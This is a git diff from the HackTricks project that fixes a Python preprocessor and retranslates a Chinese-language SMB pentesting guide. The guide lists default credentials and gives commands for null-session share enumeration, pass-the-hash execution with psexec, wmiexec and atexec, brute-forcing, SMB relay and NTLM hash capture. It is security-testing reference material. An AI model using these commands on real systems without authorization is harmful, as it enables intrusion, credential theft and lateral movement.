diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py index 0165a854a..c525f665d 100644 --- a/hacktricks-preprocessor.py +++ b/hacktricks-preprocessor.py @@ -17,7 +17,7 @@ handler2.setLevel(logging.ERROR) logger.addHandler(handler2) -def findtitle(search ,obj, key, path=(),): +def findtitle(search, obj, key, path=()): # logger.debug(f"Looking for {search} in {path}") if isinstance(obj, dict) and key in obj and obj[key] == search: return obj, path @@ -54,26 +54,42 @@ def ref(matchobj): if href.endswith("/"): href = href+"README.md" # Fix if ref points to a folder if "#" in href: - chapter, _path = findtitle(href.split("#")[0], book, "source_path") - title = " ".join(href.split("#")[1].split("-")).title() - logger.debug(f'Ref has # using title: {title}') + result = findtitle(href.split("#")[0], book, "source_path") + if result is not None: + chapter, _path = result + title = " ".join(href.split("#")[1].split("-")).title() + logger.debug(f'Ref has # using title: {title}') + else: + raise Exception(f"Chapter not found for path: {href.split('#')[0]}") else: - chapter, _path = findtitle(href, book, "source_path") - logger.debug(f'Recursive title search result: {chapter["name"]}') - title = chapter['name'] + result = findtitle(href, book, "source_path") + if result is not None: + chapter, _path = result + logger.debug(f'Recursive title search result: {chapter["name"]}') + title = chapter['name'] + else: + raise Exception(f"Chapter not found for path: {href}") except Exception as e: dir = path.dirname(current_chapter['source_path']) rel_path = path.normpath(path.join(dir,href)) try: logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}') if "#" in href: - chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path") - title = " ".join(href.split("#")[1].split("-")).title() - logger.debug(f'Ref has # using title: {title}') + result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path") + if result is not None: + chapter, _path = result + title = " ".join(href.split("#")[1].split("-")).title() + logger.debug(f'Ref has # using title: {title}') + else: + raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href.split('#')[0]))}") else: - chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path") - title = chapter["name"] - logger.debug(f'Recursive title search result: {chapter["name"]}') + result = findtitle(path.normpath(path.join(dir,href)), book, "source_path") + if result is not None: + chapter, _path = result + title = chapter["name"] + logger.debug(f'Recursive title search result: {chapter["name"]}') + else: + raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href))}") except Exception as e: logger.debug(e) logger.error(f'Error getting chapter title: {rel_path}') diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md index c67b95c8c..ad6afe70a 100644 --- a/src/network-services-pentesting/pentesting-smb/README.md +++ b/src/network-services-pentesting/pentesting-smb/README.md @@ -4,60 +4,61 @@ ## **端口 139** -The _**Network Basic Input Output System**_** (NetBIOS)** 是一种软件协议,旨在使局域网 (LAN) 中的应用程序、PC 和台式机能够与网络硬件交互,并**促进网络上的数据传输**。运行在 NetBIOS 网络上的软件应用的标识和位置是通过它们的 NetBIOS 名称来实现的,这些名称最多可达 16 个字符,且通常与计算机名不同。当一个应用(作为客户端)发出命令去“调用”另一个应用(作为服务器),并使用 **TCP Port 139** 时,会在两个应用之间建立 NetBIOS 会话。 +The _**网络基础输入输出系统**_** (NetBIOS)** 是一种软件协议,旨在使局域网 (LAN) 内的应用程序、PC 和桌面能够与网络硬件交互,并 **促进网络上的数据传输**。在 NetBIOS 网络上运行的软件应用的识别和定位是通过其 NetBIOS 名称实现的,NetBIOS 名称最多可包含 16 个字符,且通常不同于计算机名。当一个应用(充当客户端)通过 **TCP Port 139** 向另一个应用(充当服务器)发出“call”命令时,就会启动两个应用之间的 NetBIOS 会话。 ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` -## 端口 445 +## Port 445 -从技术上讲,端口 139 被称为 ‘NBT over IP’,而端口 445 被识别为 ‘SMB over IP’。缩写 **SMB** 代表 ‘**Server Message Blocks**’,在现代也称为 **Common Internet File System (CIFS)**。作为一种应用层网络协议,SMB/CIFS 主要用于实现对文件、打印机、串口的共享访问,并促进网络节点之间的各种通信。 +从技术上讲,Port 139 被称为 ‘NBT over IP’,而 Port 445 则被标识为 ‘SMB over IP’。缩写 **SMB** 代表 ‘**Server Message Blocks**’,也被现代称为 **Common Internet File System (CIFS)**。作为一种应用层网络协议,SMB/CIFS 主要用于实现对文件、打印机、串口的共享访问,并促进网络节点之间的各种通信。 -例如,在 Windows 环境中,强调 SMB 可以直接在 TCP/IP 上运行,通过使用端口 445,从而无需 NetBIOS over TCP/IP。相反,在其他系统上会使用端口 139,这表明 SMB 是与 NetBIOS over TCP/IP 一起运行的。 +例如,在 Windows 的上下文中,强调 SMB 可以直接运行在 TCP/IP 之上,通过使用 port 445,从而无需 NetBIOS over TCP/IP。相反,在其他系统上,观察到使用 port 139,这表明 SMB 是与 NetBIOS over TCP/IP 一起运行的。 ``` 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) ``` ### SMB -**Server Message Block (SMB)** 协议采用 **client-server** 模型,旨在规范对 **access to files**、目录以及打印机和路由器等其他网络资源的访问。SMB 主要用于 **Windows** 操作系统系列,保证向后兼容,使运行较新微软操作系统的设备能够与运行较旧版本的设备无缝交互。此外,**Samba** 项目提供了一个自由软件实现,使 SMB 能在 **Linux** 和 Unix 系统上运行,从而实现通过 SMB 的跨平台通信。 +**Server Message Block (SMB)** 协议采用 **client-server** 模型,旨在管理对 **access to files**、目录及打印机、路由器等其他网络资源的访问。SMB 主要用于 **Windows** 操作系统系列,并保持向后兼容,使新版 Microsoft 操作系统的设备能够与运行旧版系统的设备无缝互通。此外,**Samba** 项目提供了一个自由软件实现,使在 **Linux** 和 Unix 系统上也能实现 SMB,从而促进跨平台的 SMB 通信。 -Shares,表示 **arbitrary parts of the local file system**,可以由 SMB 服务器提供,使客户端可见的层级在某种程度上**独立**于服务器的实际结构。**Access Control Lists (ACLs)** 定义了 **access rights**,允许对用户权限进行**fine-grained control**,包括诸如 **`execute`**、**`read`** 和 **`full access`** 等属性。这些权限可以基于 shares 分配给单个用户或组,并且与服务器上设置的本地权限不同。 +Shares,代表本地文件系统的**arbitrary parts of the local file system**,可以由 SMB 服务器提供,使客户端看到的层次结构在某种程度上**independent**于服务器的实际结构。用于定义**access rights**的 **访问控制列表 (ACLs)** 允许对用户权限进行**fine-grained control**,包括像 **`execute`**、**`read`** 和 **`full access`** 这样的属性。基于这些 shares,可将权限分配给单个用户或用户组,这些权限与服务器上设置的本地权限是不同的。 -### IPC$ Share +### IPC$ 共享 -可以通过匿名 null session 获取对 IPC$ share 的访问,从而与通过 named pipes 暴露的服务进行交互。工具 `enum4linux` 对此非常有用。正确使用时,它可以获取: +可以通过匿名 null session 访问 IPC$ 共享,从而与通过 named pipes 暴露的服务交互。工具 `enum4linux` 在这方面很有用。正确使用它可以获取: -- 有关操作系统的信息 +- 操作系统信息 - 父域的详细信息 -- 本地用户和组的汇总 -- 有关可用 SMB 共享的信息 -- 有效的系统安全策略 +- 本地用户和组的列表 +- 关于可用 SMB 共享的信息 +- 系统的有效安全策略 此功能对于网络管理员和安全专业人员评估网络上 SMB (Server Message Block) 服务的安全态势至关重要。`enum4linux` 提供了目标系统 SMB 环境的全面视图,这对于识别潜在漏洞并确保 SMB 服务得到适当保护是必要的。 ```bash enum4linux -a target_ip ``` -上面的命令是一个示例,说明如何使用 `enum4linux` 对由 `target_ip` 指定的目标执行完整 enumeration。 +上面的命令是一个示例,说明如何使用 `enum4linux` 对由 `target_ip` 指定的目标进行完整枚举。 ## 什么是 NTLM -如果你不知道什么是 NTLM,或想了解它如何工作以及如何滥用它,你会发现这页关于 **NTLM** 的内容非常有趣,里面解释了 **该协议如何工作以及如何利用它:** +如果你不知道什么是 NTLM,或想了解它的工作原理及滥用方式,你会发现这篇关于 **NTLM** 的页面非常有趣,其中解释了 **该协议如何工作以及如何利用它:** + {{#ref}} ../../windows-hardening/ntlm/ {{#endref}} -## **服务器 Enumeration** +## **服务器枚举** -### **Scan** 扫描网络以搜索主机: +### **扫描** 网络以搜索主机: ```bash nbtscan -r 192.168.0.1/24 ``` ### SMB 服务器版本 -要查找针对 SMB 的可能漏洞,需要先知道正在使用的 SMB 版本。如果其他工具未显示该信息,可以: +要查找针对 SMB 版本的潜在 exploits,首先需要知道正在使用的版本。如果其他工具没有显示此信息,你可以: -- 使用 **MSF** 的 auxiliary 模块 `**auxiliary/scanner/smb/smb_version**` -- 或使用此脚本: +- 使用 **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**` +- 或者这个脚本: ```bash #!/bin/sh #Author: rewardone @@ -79,13 +80,13 @@ echo "" && sleep .1 msf> search type:exploit platform:windows target:2008 smb searchsploit microsoft smb ``` -### **可能的** 凭证 +### **可能的** 凭据 -| **用户名** | **Common passwords** | +| **用户名** | **常见密码** | | -------------------- | ----------------------------------------- | -| _(空)_ | _(空)_ | -| guest | _(空)_ | -| Administrator, admin | _(空)_, password, administrator, admin | +| _(空)_ | _(空)_ | +| guest | _(空)_ | +| Administrator, admin | _(空)_, password, administrator, admin | | arcserve | arcserve, backup | | tivoli, tmersrvd | tivoli, tmersrvd, admin | | backupexec, backup | backupexec, backup, arcada | @@ -119,9 +120,9 @@ rpcclient -U "username%passwd" #With creds /usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@] /usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@] ``` -### 枚举用户、组与已登录用户 +### 枚举用户、组和已登录用户 -这些信息应该已经从 enum4linux 和 enum4linux-ng 收集到。 +这些信息应该已经由 enum4linux 和 enum4linux-ng 收集 ```bash crackmapexec smb 10.10.10.10 --users [-u -p ] crackmapexec smb 10.10.10.10 --groups [-u -p ] @@ -156,13 +157,13 @@ run rpcclient-enumeration.md {{#endref}} -### 来自 linux 的 GUI 连接 +### GUI connection from linux #### 在终端: `xdg-open smb://cascade.htb/` -#### 在文件管理器窗口(nautilus、thunar 等) +#### 在文件浏览器窗口(nautilus, thunar, etc) `smb://friendzone.htb/general/` @@ -170,7 +171,7 @@ rpcclient-enumeration.md ### 列出共享文件夹 -建议始终检查是否可以访问任何内容;如果没有 credentials,请尝试使用 **null** **credentials/guest user**。 +建议始终检查是否能访问任何资源,如果没有凭据,请尝试使用 **null** **credentials/guest user**。 ```bash smbclient --no-pass -L // # Null user smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash @@ -184,7 +185,7 @@ crackmapexec smb -u '' -p '' --shares #Null user crackmapexec smb -u 'username' -p 'password' --shares #Guest user crackmapexec smb -u 'username' -H '' --shares #Guest user ``` -### **连接/列出共享文件夹** +### **连接/列出 共享文件夹** ```bash #Connect using smbclient smbclient --no-pass /// @@ -196,11 +197,11 @@ smbmap [-u "username" -p "password"] -R [Folder] -H [-P ] # Recursive smbmap [-u "username" -p "password"] -r [Folder] -H [-P ] # Non-Recursive list smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-the-Hash ``` -### **手动枚举 windows 共享并连接到它们** +### **手动枚举 Windows 共享并连接到它们** -有可能你被限制无法显示主机的任何共享,当你尝试列出它们时,看起来似乎没有可连接的共享。因此值得短暂地尝试手动连接到某个共享。要手动枚举共享,你可以在使用有效会话(例如 null session 或有效凭据)时寻找类似 NT_STATUS_ACCESS_DENIED 和 NT_STATUS_BAD_NETWORK_NAME 的响应。这些响应可能表明共享存在但你没有访问权限,或者该共享根本不存在。 +主机可能被限制显示任何共享,当你尝试列出它们时看起来似乎没有可连接的共享。因此值得尝试短暂地手动连接到某个共享。要手动枚举共享,你可能需要在使用有效会话(例如 null session 或有效凭证)时查找类似 NT_STATUS_ACCESS_DENIED 和 NT_STATUS_BAD_NETWORK_NAME 的响应。这些响应可能表明该共享存在但你无权访问,或该共享根本不存在。 -Common share names for windows targets are +Windows 目标常见的共享名称有 - C$ - D$ @@ -211,14 +212,14 @@ Common share names for windows targets are - SYSVOL - NETLOGON -(Common share names from _**Network Security Assessment 3rd edition**_) +(常见共享名称摘自 _**Network Security Assessment 3rd edition**_) 你可以使用以下命令尝试连接它们 ```bash smbclient -U '%' -N \\\\\\ # null session to connect to a windows share smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password) ``` -或使用此脚本(使用 null session) +或此脚本(使用 null session) ```bash #/bin/bash @@ -237,8 +238,8 @@ done ``` 示例 ```bash -smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME -smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session +smbclient -U '%' -N \\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME +smbclient -U '%' -N \\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session ``` ### **从 Windows 枚举共享 / 无需第三方工具** @@ -259,14 +260,14 @@ net share # List shares on a remote computer (including hidden ones) net view \\ /all ``` -MMC Snap-in(图形界面) +MMC 插件 (图形化) ```shell # Shared Folders: Shared Folders > Shares fsmgmt.msc # Computer Management: Computer Management > System Tools > Shared Folders > Shares compmgmt.msc ``` -explorer.exe(图形界面),输入 `\\\` 查看可用的非隐藏共享。 +在 explorer.exe(图形界面)中,输入 `\\\` 查看可用的非隐藏共享。 ### 挂载共享文件夹 ```bash @@ -275,7 +276,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share ``` ### **下载文件** -请阅读前面的章节以了解如何使用 credentials/Pass-the-Hash 进行连接。 +阅读前面的章节以了解如何使用 credentials/Pass-the-Hash 进行连接。 ```bash #Search a file and download sudo smbmap -R Folder -H -A -q # Search the file in recursive mode and download it inside /usr/share/smbmap @@ -290,14 +291,14 @@ smbclient /// > mget * #Download everything to current directory ``` -Commands: +命令: -- mask: 指定用于过滤目录中文件的掩码(例如 "" 表示所有文件) -- recurse: 切换递归(默认:off) -- prompt: 切换是否关闭文件名提示(默认:on) -- mget: 将所有与掩码匹配的文件从主机复制到客户端机器 +- mask: 指定用于过滤目录中文件的掩码 (例如 "" 表示所有文件) +- recurse: 切换是否递归 (默认: off) +- prompt: 切换是否关闭文件名提示 (默认: on) +- mget: 将所有匹配掩码的文件从主机复制到客户端机器 -(_信息来自 smbclient 的 manpage_) +(_信息来自 smbclient 的手册页_) ### 域共享文件夹搜索 @@ -311,38 +312,38 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` -在共享目录中特别有价值的文件是 **`Registry.xml`**,因为它们 **可能包含 passwords**,用于通过 **autologon** 配置并通过 **Group Policy** 应用的用户。或者 **`web.config`** 文件,因为它们包含凭据。 +从共享中特别值得关注的是名为 **`Registry.xml`** 的文件,因为它们**可能包含密码**,这些密码属于通过 **autologon** 使用组策略配置的用户。或者 **`web.config`** 文件,因为它们包含凭据。 > [!TIP] -> **SYSVOL share** 对域中的所有经过身份验证的用户都是 **可读的**。在那里你可能会 **找到** 许多不同的 batch、VBScript 和 PowerShell **scripts**。\ -> 你应该 **检查** 其中的 **scripts**,因为你可能会 **找到** 敏感信息,例如 **passwords**。 +> **SYSVOL share** 对域内所有经过身份验证的用户是**可读取的**。在那里你可能会**发现**许多不同的 batch、VBScript 和 PowerShell **脚本**。\ +> 你应该**检查**其中的**脚本**,因为你可能会**发现**敏感信息,例如**密码**。 ## 读取注册表 -您可能可以使用发现的凭证**读取注册表**。Impacket **`reg.py`** 允许您尝试: +你可能能够使用一些发现的凭据**读取注册表**。Impacket **`reg.py`** 允许你尝试: ```bash sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s ``` -## Post Exploitation +## 后渗透 -一个 **Samba** 服务器的 **默认配置** 通常位于 `/etc/samba/smb.conf`,并可能包含一些 **危险配置**: +Samba 服务器的**默认配置**通常位于 `/etc/samba/smb.conf`,可能包含一些**危险配置**: -| **设置** | **说明** | -| --------------------------- | ------------------------------------------------------------------- | -| `browseable = yes` | 是否允许列出当前共享中可用的共享? | -| `read only = no` | 是否禁止创建和修改文件? | -| `writable = yes` | 是否允许用户创建和修改文件? | -| `guest ok = yes` | 是否允许在不使用密码的情况下连接到服务? | -| `enable privileges = yes` | 是否遵循分配给特定 SID 的权限? | -| `create mask = 0777` | 新创建的文件应被分配哪些权限? | -| `directory mask = 0777` | 新创建的目录应被分配哪些权限? | -| `logon script = script.sh` | 在用户登录时需要执行哪个脚本? | -| `magic script = script.sh` | 当脚本关闭时应执行哪个脚本? | -| `magic output = script.out` | magic 脚本的输出需要存储在哪里? | +| **设置** | **描述** | +| --------------------------- | --------------------------------------------------------------------- | +| `browseable = yes` | 允许列出可用的共享? | +| `read only = no` | 禁止创建和修改文件? | +| `writable = yes` | 允许用户创建和修改文件? | +| `guest ok = yes` | 允许在不使用密码的情况下连接服务? | +| `enable privileges = yes` | 尊重分配给特定 SID 的权限? | +| `create mask = 0777` | 新创建的文件必须被赋予哪些权限? | +| `directory mask = 0777` | 新创建的目录必须被赋予哪些权限? | +| `logon script = script.sh` | 用户登录时需要执行哪个脚本? | +| `magic script = script.sh` | 在脚本关闭时应执行哪个脚本? | +| `magic output = script.out` | magic script 的输出应存储在哪里? | -The command `smbstatus` gives information about the **server** and about **who is connected**. +`smbstatus` 命令提供关于 **服务器** 以及 **谁已连接** 的信息。 ## 使用 Kerberos 进行认证 @@ -351,11 +352,25 @@ The command `smbstatus` gives information about the **server** and about **who i smbclient --kerberos //ws01win10.domain.com/C$ rpcclient -k ws01win10.domain.com ``` +在仅使用 Kerberos 的环境(NTLM 被禁用)中,对 SMB 的 NTLM 尝试可能会返回 `STATUS_NOT_SUPPORTED`。修复常见的 Kerberos 问题并强制 Kerberos 认证: +```bash +# sync clock to avoid KRB_AP_ERR_SKEW +sudo ntpdate + +# use Kerberos with tooling (reads your TGT from ccache) +netexec smb -k +``` +有关完整的客户端设置(krb5.conf 生成、kinit、SSH GSSAPI/SPN 注意事项),请参阅: + +{{#ref}} +../pentesting-kerberos-88/README.md +{{#endref}} + ## **执行命令** ### **crackmapexec** -crackmapexec 可以通过利用任何 **mmcexec, smbexec, atexec, wmiexec** 来执行命令,其中 **wmiexec** 是 **default** 方法。你可以使用参数 `--exec-method` 指定要使用的选项: +crackmapexec 可以通过 **利用** 任何 **mmcexec, smbexec, atexec, wmiexec** 来执行命令,其中 **wmiexec** 是 **默认** 方法。你可以使用参数 `--exec-method` 指定要使用的选项: ```bash apt-get install crackmapexec @@ -379,7 +394,7 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash ``` ### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) -两者都会在受害者机器上(通过 SMB 使用 _\pipe\svcctl_)**创建一个新服务**,并用它来**执行某些东西**(**psexec** 会**上传**一个可执行文件到 ADMIN$ 共享,而 **smbexec** 会指向 **cmd.exe/powershell.exe** 并在参数中放入 payload --**file-less technique-**-).\ +两种选项都会在受害者机器上**创建一个新服务**(通过 SMB 使用 _\pipe\svcctl_)并用它来**执行某些内容**(**psexec** 会将一个可执行文件**上传**到 ADMIN$ 共享,而 **smbexec** 会指向 **cmd.exe/powershell.exe** 并在参数中放入负载 --**file-less technique-**-)。\ **更多信息** 关于 [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)和 [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\ 在 **kali** 它位于 /usr/share/doc/python3-impacket/examples/ ```bash @@ -389,19 +404,19 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash psexec \\192.168.122.66 -u Administrator -p 123456Ww psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash ``` -使用 **parameter**`-k`,你可以使用 **kerberos** 而不是 **NTLM** 进行认证 +使用 **参数**`-k` 可以通过 **kerberos** 进行认证,而不是 **NTLM** ### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec -通过 DCOM 经由 **port 135.** 隐蔽地执行命令 shell,无需接触磁盘或运行新的服务。\ -在 **kali** 中位于 /usr/share/doc/python3-impacket/examples/ +通过 DCOM(使用 **port 135.**)悄无声息地执行命令 shell,而无需触及磁盘或启动新的服务。\ +在 **kali** 它位于 /usr/share/doc/python3-impacket/examples/ ```bash #If no password is provided, it will be prompted ./wmiexec.py [[domain/]username[:password]@] #Prompt for password ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted ``` -使用 **参数**`-k`,你可以使用 **kerberos** 而不是 **NTLM** 进行认证。 +使用 **参数**`-k` 可以使用 **kerberos** 进行身份验证,而不是 **NTLM**。 ```bash #If no password is provided, it will be prompted ./dcomexec.py [[domain/]username[:password]@] @@ -410,8 +425,8 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass ``` ### [AtExec](../../windows-hardening/lateral-movement/atexec.md) -通过任务计划程序执行命令(通过 SMB 使用 _\pipe\atsvc_)。\ -在 **kali** 中位于 /usr/share/doc/python3-impacket/examples/ +通过 Task Scheduler 执行命令(使用 _\pipe\atsvc_ 通过 SMB)。\ +在 **kali** 上位于 /usr/share/doc/python3-impacket/examples/ ```bash ./atexec.py [[domain/]username[:password]@] "command" ./atexec.py -hashes administrator@10.10.10.175 "whoami" @@ -420,7 +435,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass [https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/) -### ksmbd 攻击面和 SMB2/SMB3 协议 fuzzing (syzkaller) +### ksmbd 攻击面 和 SMB2/SMB3 协议 fuzzing (syzkaller) {{#ref}} ksmbd-attack-surface-and-fuzzing-syzkaller.md @@ -428,19 +443,19 @@ ksmbd-attack-surface-and-fuzzing-syzkaller.md ## **Bruteforce 用户凭证** -**不建议这样做,如果超过允许的最大尝试次数,你可能会导致账户被锁定** +**不推荐这样做,若超过允许的最大尝试次数可能会锁定账户** ```bash nmap --script smb-brute -p 445 ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name ``` ## SMB relay attack -此攻击使用 Responder toolkit 在内部网络上 **捕获 SMB 认证会话**,并将它们 **中继** 到 **target machine**。如果认证 **会话成功**,它会自动让你进入一个 **system** **shell**。\ -[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) +此攻击使用 Responder toolkit 在内网中**捕获 SMB 认证会话**,并将其**中继**到**目标机器**。如果认证**会话成功**,它会自动让你进入**系统** **shell**。\ +[**关于此攻击的更多信息。**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap -当页面尝试通过 SMB 访问某些内容时(例如:`img src="\\10.10.10.10\path\image.jpg"`),Windows 库 URLMon.dll 会自动尝试对主机进行身份验证。 +当页面尝试通过 SMB 访问某些内容时,Windows 库 URLMon.dll 会自动尝试对主机进行认证,例如: `img src="\\10.10.10.10\path\image.jpg"` This happens with the functions: @@ -449,21 +464,21 @@ This happens with the functions: - URLOpenStream - URLOpenBlockingStream -Which are used by some browsers and tools (like Skype) +这些函数被一些浏览器和工具(如 Skype)使用。 -![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>) +![来自: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>) ### SMBTrap using MitMf -![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>) +![来自: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>) ## NTLM Theft -类似于 SMB Trapping,将恶意文件植入目标系统(例如通过 SMB)可以诱发 SMB 身份验证尝试,从而使用 Responder 等工具截获 NetNTLMv2 哈希。该哈希随后可以离线破解,或用于 [SMB relay attack](#smb-relay-attack)。 +类似于 SMB Trapping,通过在目标系统上放置恶意文件(例如通过 SMB)可以引发 SMB 认证尝试,从而使用如 Responder 这样的工具拦截 NetNTLMv2 hash。该 hash 随后可以离线破解或用于 [SMB relay attack](#smb-relay-attack)。 -[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) +[参见: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) -## HackTricks Automatic Commands +## HackTricks 自动命令 ``` Protocol_Name: SMB #Protocol Abbreviation if there is one. Port_Number: 137,138,139 #Comma separated if there is more than one. @@ -496,8 +511,8 @@ getArch.py -target {IP} With Creds smbmap -H {IP} -u {Username} -p {Password} -smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} -smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash` +smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP} +smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash` crackmapexec smb {IP} -u {Username} -p {Password} --shares GetADUsers.py {Domain_Name}/{Username}:{Password} -all GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat @@ -532,4 +547,10 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit' ``` +## 参考资料 + +- [NetExec (CME) wiki – Kerberos usage](https://www.netexec.wiki/) +- [Pentesting Kerberos (88) – client setup and troubleshooting](../pentesting-kerberos-88/README.md) +- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html) + {{#include ../../banners/hacktricks-training.md}}